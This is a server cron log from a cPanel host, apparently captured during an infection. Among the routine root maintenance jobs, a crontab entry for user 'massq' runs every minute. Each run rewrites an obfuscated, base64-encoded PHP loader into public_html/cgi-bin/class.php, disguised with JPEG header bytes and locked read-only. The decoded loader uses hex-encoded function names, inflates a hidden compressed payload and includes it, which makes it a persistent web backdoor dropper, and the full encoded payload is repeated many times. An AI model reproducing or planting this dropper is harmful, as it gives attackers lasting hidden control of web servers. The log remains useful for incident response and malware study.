Sep  4 16:15:01 server CROND[28326]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 16:15:01 server CROND[28328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:15:01 server CROND[28327]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 16:15:01 server CROND[28323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:15:01 server CROND[28324]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 16:16:01 server CROND[29256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:16:01 server CROND[29258]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:16:01 server CROND[29259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:17:01 server CROND[29669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:17:01 server CROND[29670]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:17:01 server CROND[29671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:18:01 server CROND[30050]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:18:01 server CROND[30051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:18:01 server CROND[30052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:19:01 server CROND[30417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:19:01 server CROND[30419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:19:01 server CROND[30420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:20:01 server CROND[30798]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 16:20:01 server CROND[30799]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 16:20:01 server CROND[30800]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 16:20:01 server CROND[30808]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:20:01 server CROND[30811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:20:01 server CROND[30812]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 16:20:01 server CROND[30809]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:20:01 server CROND[30813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:20:01 server CROND[30810]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:21:01 server CROND[31691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:21:01 server CROND[31690]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:21:01 server CROND[31692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:22:01 server CROND[32152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:22:01 server CROND[32154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:22:01 server CROND[32160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:23:01 server CROND[32521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:23:01 server CROND[32522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:23:01 server CROND[32523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:24:01 server CROND[456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:24:01 server CROND[459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:24:01 server CROND[458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:25:01 server CROND[861]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:25:01 server CROND[863]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 16:25:01 server CROND[864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:25:01 server CROND[866]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:25:01 server CROND[865]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:25:01 server CROND[869]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  4 16:25:01 server CROND[867]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:25:01 server CROND[868]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 16:26:01 server CROND[1796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:26:01 server CROND[1797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:26:01 server CROND[1795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:27:01 server CROND[2199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 16:27:01 server CROND[2200]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
